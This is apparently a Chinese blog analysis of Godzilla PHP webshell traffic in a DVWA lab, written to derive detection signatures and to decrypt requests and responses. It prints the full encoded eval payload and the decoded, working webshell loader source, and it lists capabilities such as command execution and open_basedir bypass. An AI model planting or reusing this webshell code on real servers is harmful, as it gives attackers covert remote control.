抓包工具:Burpsuite
webshell管理工具:哥斯拉4.0.1[Godzilla_v_4.0.1]
本篇只分析phpwebshell后续可能会对其他几种类型的webshell进一步分析
内容:
1.phpwebshell流量包特征
2.phpwebshell流量包解密eval源码
3.Godzilla控制方式
4.Godzilla响应包加密数据解密
总结:
Godzilla_v_4.0.1流量特征:
phpwebshell流量特征:
1.eval
2.第一个包的后一个参数超级长,用于第一次传输代码,将代码存储进session中
3.以下特征为弱特征,哥斯拉的几个http头是默认的,不过可以通过修改配置文件修改User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-type: application/x-www-form-urlencoded
4.cookie以 ; 结尾,这是一个错误的格式,可能是开发时忽略变成了哥斯拉流量包的一个特征
Godzilla控制方式:
第一次上传指令存储在session中,后续执行操作只需传递函数名和参数,将session中的代码取出解密并运行,这样就减少了后续操作的流量,不过增加了CPU占用。
Godzilla控制方式及流量特征分析
生成php webshell
将webshell上传后添加管理,这里提供bp抓包分析流量所以添加了本地代理
点击测试连接,看到哥斯拉会发送两个请求包,第一个请求包特别长
第一个请求包
POST /dvwa/hackable/uploads/Godzilla_shell.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Host: 10.10.10.1
Content-type: application/x-www-form-urlencoded
Content-Length: 53768
Connection: close
shell=eval%28base64_decode%28strrev%28urldecode%28%27K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD%27%29%29%29%29%3B&key=超级长
对内容第一次url解码后
eval(base64_decode(strrev(urldecode('K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD'))));
下面是代码的逐行解释:
urldecode
:这个函数将一个经过 URL 编码的字符串解码回原始字符串。URL 编码通常用于在 URL 中安全地传输数据。strrev
:这个函数将字符串中的字符顺序颠倒。base64_decode
:这个函数将一个使用 MIME base64 编码的字符串解码为原始字符串。Base64 编码常用于将二进制数据编码为 ASCII 字符集的文本。eval
:这是一个危险的函数,因为它执行了传入的字符串作为 PHP 代码。这可能导致严重的安全问题,尤其是当执行的代码来自不可信的源时。
用在线php工具对编码内容解码
<?php print(base64_decode(strrev(urldecode('编码内容'))))?>
第二次解码加密内容
<?php
// 开始会话
@session_start();
// 设置 PHP 脚本的最大执行时间为无限,这可能导致资源消耗过多的问题
@set_time_limit(0);
// 关闭错误报告,隐藏可能的错误信息,这不利于调试且可能隐藏安全问题
@error_reporting(0);
// 定义一个解密函数,使用异或操作进行解密,由于是异或所以这既是加密函数也是解密函数[密码学知识:域]
function encode($D, $K) {
for ($i = 0; $i < strlen($D); $i++) {
// 使用密钥数组和当前位置进行异或操作
$c = $K[$i + 1 & 15]; // 循环使用密钥的某个部分
$D[$i] = $D[$i] ^ $c; // 异或操作
}
return $D; // 返回加密后的数据
}
// 定义密码和有效载荷名称
$pass = 'key';
$payloadName = 'payload';
$key = '3c6e0b8a9c15224a'; // 定义加密密钥 [这个加密密钥是,生成木马时密钥的MD5值的前16位,这里生成木马时定义的密钥是key其MD5值前16位是'3c6e0b8a9c15224a']
// 检查是否接收到了 POST 请求中的密码字段
if (isset($_POST[$pass])) { //相当于isset($_POST['key'])
// 使用 POST 中的密码字段[执行的代码]和密钥进行解密操作
$data = encode(base64_decode($_POST[$pass]), $key);
// 检查会话中是否存在payload
if (isset($_SESSION[$payloadName])) {
// 获取会话中存储的有效载荷并使用密钥进行解密
$payload = encode($_SESSION[$payloadName], $key);
// 检查有效载荷中是否包含特定字符串
if (strpos($payload, "getBasicsInfo") === false) {
$payload = encode($payload, $key); // 如果不包含,再次加密
}
// 执行有效载荷内容作为 PHP 代码
eval($payload);
// 输出密码和密钥 md5 散列的前 16 位
echo substr(md5($pass . $key), 0, 16);
// 执行 run 函数并加密结果,然后输出加密结果的 base64 编码
echo base64_encode(encode(@run($data), $key));
// 输出密码和密钥 md5 散列的后 16 位
echo substr(md5($pass . $key), 16);
} else {
// 如果会话中没有存储有效载荷,检查 POST 数据中是否包含特定字符串
if (strpos($data, "getBasicsInfo") !== false) {
// 如果包含,将 POST 数据加密后存储在会话中
$_SESSION[$payloadName] = encode($data, $key);
}
}
}
?>
根据上述代码可以知道,第一次发送的请求中会把代码放在pass参数中传递所以请求包中的参数才会特别长,所以我么根据他的解码逻辑就解出第一次传入的代码
<?php
function encode($D, $K) {
for ($i = 0; $i < strlen($D); $i++) {
// 使用密钥数组和当前位置进行异或操作
$c = $K[$i + 1 & 15]; // 循环使用密钥的某个部分
$D[$i] = $D[$i] ^ $c; // 异或操作
}
return $D; // 返回加密后的数据
}
$data = '超级长的代码';
$key = '3c6e0b8a9c15224a';
$code = encode(base64_decode(urldecode($data)), $key);
print($code);
?>
源码如下感兴趣可以自己分析:
根据GPT解释了解到该代码执行了什么操作:
这段代码是一个PHP脚本,它定义了多个函数,用于执行各种操作,包括但不限于文件操作、数据库操作、错误处理、会话管理、加密解密、系统命令执行等。以下是对代码中每个函数的简要注释和总结:
run($pms)
: 这是主要的执行函数,它处理会话、参数格式化、错误和异常处理、代码执行等。payloadExceptionHandler($exception)
: 捕获并处理异常。payloadErrorHandler($errno, $errstr, ...)
: 捕获并处理错误。S1MiwYYr($D, $K)
: 一个简单的加密/解密函数,对数据进行位运算。reDefSystemFunc()
: 重新定义系统函数,如果它们不存在的话。getSession()
: 获取会话数据。bypass_open_basedir()
: 绕过PHP的open_basedir限制。formatParameter($pms)
: 格式化输入参数。evalFunc()
: 评估并执行给定的函数或代码。deleteDir($p)
: 删除目录及其内容。deleteFile()
: 删除文件。setFileAttr()
: 设置文件属性,如权限和时间。fileRemoteDown()
: 从远程URL下载文件。copyFile()
: 复制文件。moveFile()
: 移动文件。getBasicsInfo()
: 获取服务器的基本信息。getFile()
: 获取目录中的文件列表。readFileContent()
: 读取文件内容。uploadFile()
: 上传文件到服务器。newDir()
: 创建新目录。newFile()
: 创建新文件。function_existsEx($functionName)
: 检查函数是否存在且未被禁用。execCommand()
: 执行系统命令。execSql()
: 执行SQL语句,支持多种数据库。base64Encode($data)
: 对数据进行Base64编码。test()
: 一个简单的测试函数,返回”ok”。get($key)
: 从参数数组中获取值。getAllParameters()
: 获取所有参数。includeCode()
: 包含并执行代码。base64Decode($string)
: 对字符串进行Base64解码。convertFilePermissions($fileAttr)
: 转换文件权限字符串为数值。g_close()
: 关闭会话。bigFileDownload()
: 支持大文件下载。bigFileUpload()
: 支持大文件上传。canCallGzipEncode()
: 检查是否可以调用gzencode
函数。canCallGzipDecode()
: 检查是否可以调用gzdecode
函数。bytesToInteger($bytes, $position)
: 将字节转换为整数。isGzipStream($bin)
: 检查是否为Gzip流。getBytes($string)
: 将字符串转换为字节数组。
总结:这段代码提供了一个复杂的脚本环境,允许执行多种服务器端操作,包括文件管理、网络操作、代码执行、会话管理等。它还包含了错误和异常处理机制,以及对大文件处理的支持。代码中使用了一些安全措施,如加密和绕过某些限制,但整体上存在安全风险,尤其是evalFunc()
函数,它可以执行任意代码,这可能导致严重的安全漏洞。此外,代码中使用了大量的PHP禁用函数(如@
操作符),这通常用于抑制错误信息,但在生产环境中不推荐使用,因为它会隐藏潜在的错误。
第一个响应包设置SESSIONID
再第一个请求包将代码存储再session后,会返回一个sessionid为后续控制访问session中的代码作为唯一标识,而后续控制中都会带有这个sessionid
第二个请求包用于测试连接
Burpsuite抓包看到确实在cookie中携带了一个sessionid,不过这有个错误的地方就是cookie字段以 ; 结尾,这也成为了Godzilla的phpwebshell流量特征之一,而另外的一个弱特征就是下面黄框框出的几个固定的http请求头:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-type: application/x-www-form-urlenco
解密key参数,解密函数与上述解密eval代码的函数相同
}
第三个请求包用于获取系统基本信息
Burpsuite抓包
解密key
返回的基本信息
下面通过尝试解密相应包内容来查看原始的数据
根据解密出来的代码中如下部分
// 检查会话中是否存在payload
if (isset($_SESSION[$payloadName])) {
// 获取会话中存储的有效载荷并使用密钥进行解密
$payload = encode($_SESSION[$payloadName], $key);
// 检查有效载荷中是否包含特定字符串
if (strpos($payload, "getBasicsInfo") === false) {
$payload = encode($payload, $key); // 如果不包含,再次加密
}
// 执行有效载荷内容作为 PHP 代码
eval($payload);
// 输出密码和密钥 md5 散列的前 16 位
echo substr(md5($pass . $key), 0, 16);
// 将代码交给 run 函数执行并对运行结果encode异或加密,然后对加密结果base64编码
echo base64_encode(encode(@run($data), $key));t
// 输出密码和密钥 md5 散列的后 16 位
echo substr(md5($pass . $key), 16);
}
可以反推出相应包解密过程
1.除响应中前后各16位MD5的中间部分
2.base64解码
3.encode异或解密
<?php
function encode($D, $K) {
for ($i = 0; $i < strlen($D); $i++) {
// 使用密钥数组和当前位置进行异或操作
$c = $K[$i + 1 & 15]; // 循环使用密钥的某个部分
$D[$i] = $D[$i] ^ $c; // 异或操作
}
return $D; // 返回加密后的数据
}
$data = '上述响应包中的数据';
$key = '3c6e0b8a9c15224a'; // 密钥的MD5前16位,可以通过解密上述请求包中的shell部分获取,而且同一个webshell中的密钥是固定不变的
$quQianHouMD5=substr(substr($data,0,strlen($data)-16),16); // 去掉前MD5值
// print($quQianHouMD5);
$code = encode(base64_decode($quQianHouMD5), $key);
print($code);
?>
不过解密出来后出现了乱码
但是代码逻辑确实没有问题,通过排查发现是run函数(可以下载上面完整源码查看)返回的值是经过压缩的
$parameters=array();
$_SES=array();
function run($pms){
..............
$result=@evalFunc();
if ($result==null||$result===false){
$result=$ERRMSG;
}
if ($_SES!==null){
session_start();
$_SESSION[$sessioId]=base64_encode(S1MiwYYr(serialize($_SES),$sessioId));
@session_write_close();
}
if (canCallGzipEncode()){
$result=gzencode($result,6);
}
return $result;
}
所以还要加上解压缩的逻辑
最终的响应内容解密代码如下
<?php
function encode($D, $K) {
for ($i = 0; $i < strlen($D); $i++) {
// 使用密钥数组和当前位置进行异或操作
$c = $K[$i + 1 & 15]; // 循环使用密钥的某个部分
$D[$i] = $D[$i] ^ $c; // 异或操作
}
return $D; // 返回加密后的数据
}
$data = '响应包内容';
$key = '3c6e0b8a9c15224a';
$quQianHouMD5=substr(substr($data,0,strlen($data)-16),16); // 去掉前MD5值
// print($quQianHouMD5);
// $de64_data=base64_decode($quQianHouMD5);
// print($de64_data);
$code = encode(base64_decode($quQianHouMD5), $key);
$result=gzdecode($code);
print($result);
?>